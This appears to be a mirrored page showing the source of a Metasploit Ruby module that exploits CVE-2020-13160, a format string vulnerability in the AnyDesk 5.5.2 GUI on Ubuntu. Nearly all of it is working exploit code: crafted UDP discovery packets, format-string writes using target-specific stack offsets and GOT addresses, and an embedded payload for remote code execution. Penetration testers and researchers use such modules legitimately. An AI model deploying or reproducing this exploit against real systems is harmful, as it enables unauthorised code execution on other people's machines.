Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Auxiliary::Report9include Msf::Exploit::Remote::Udp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AnyDesk GUI Format String Write',16'Description' => %q{17The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially18crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the19discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On20successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.21},22'Author' => [23'scryh', # vulnerability discovery and original exploit24'Spencer McIntyre' # metasploit module25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2020-13160' ],29[ 'URL', 'https://devel0pment.de/?p=1881' ]30],31'Payload' => {32'Space' => 512,33'BadChars' => "\x00\x25\x26"34},35'Platform' => 'linux',36'Arch' => ARCH_X64,37'DefaultOptions' => {38'CPORT' => 50001,39'PrependFork' => true,40'WfsDelay' => 1041},42'Notes' => {43'Stability' => [ CRASH_SERVICE_DOWN ],44'SideEffects' => [ SCREEN_EFFECTS ],45'Reliability' => [ UNRELIABLE_SESSION ]46},47'Targets' => [48[49'Anydesk 5.5.2 Ubuntu 20.04 x64',50{ 'stkref1' => 109, 'stkref2' => 125, '[email protected]' => 0x119ddc0 - 139 }51],52[53'Anydesk 5.5.2 Ubuntu 18.04 x64',54{ 'stkref1' => 93, 'stkref2' => 165, '[email protected]' => 0x119ddc0 - 135 }55]56],57'DefaultTarget' => 0,58'DisclosureDate' => '2020-06-16'59)60)6162register_options([63Opt::RPORT(50001)64])65register_advanced_options([66OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),67OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])68])69end7071def build_discover_packet(hn, user, inf, func)72buf = "\x3e\xd1\x01"73buf << [4919].pack('N')74buf << [0].pack('N')75buf << "\x02\x01" # os76buf << [hn.length].pack('N') << hn77buf << [user.length].pack('N') << user78buf << [0].pack('N')79buf << [inf.length].pack('N') << inf80buf << "\x00"81buf << [func.length].pack('N') << func82buf << "\x02\xc3\x51"83end8485def discover86server_sock = Rex::Socket::Udp.create(87'LocalHost' => datastore['SRVHOST'],88'LocalPort' => datastore['SRVPORT'],89'Context' => {90'Msf' => framework,91'MsfExploit' => self92}93)9495client_sock = connect_udp(false, {96'RPORT' => datastore['RPORT'],97'CPORT' => 098})99client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))100101timeout = 10102while timeout > 0103start_time = Time.now104response, host, = server_sock.recvfrom(8192, timeout)105break if host == datastore['RHOST']106107timeout = Time.now - start_time108end109110return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]111return nil unless response[11] == "\x02"112113disconnect_udp(client_sock)114server_sock.close115116hostname = response[17..17 + response[13..16].unpack1('N')]117report_host(host: datastore['RHOST'], name: hostname)118119{120hostname: hostname,121os: response[12] == "\x02" ? :linux : nil122}123end124125def check126info = discover127return CheckCode::Safe if info.nil?128129CheckCode::Detected("Remote hostname: #{info[:hostname]}")130end131132def bad_unicode133[ rand(0x80..0x90), rand(0..0xff) ].pack('CC')134end135136def exploit137info = discover138fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?139fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux140141print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")142143connect_udp144145hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"146hn << payload.encoded147udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['[email protected]']}x%#{target['stkref1']}$ln", 'ad', 'main'))148print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')149ensure150disconnect_udp151end152end153154155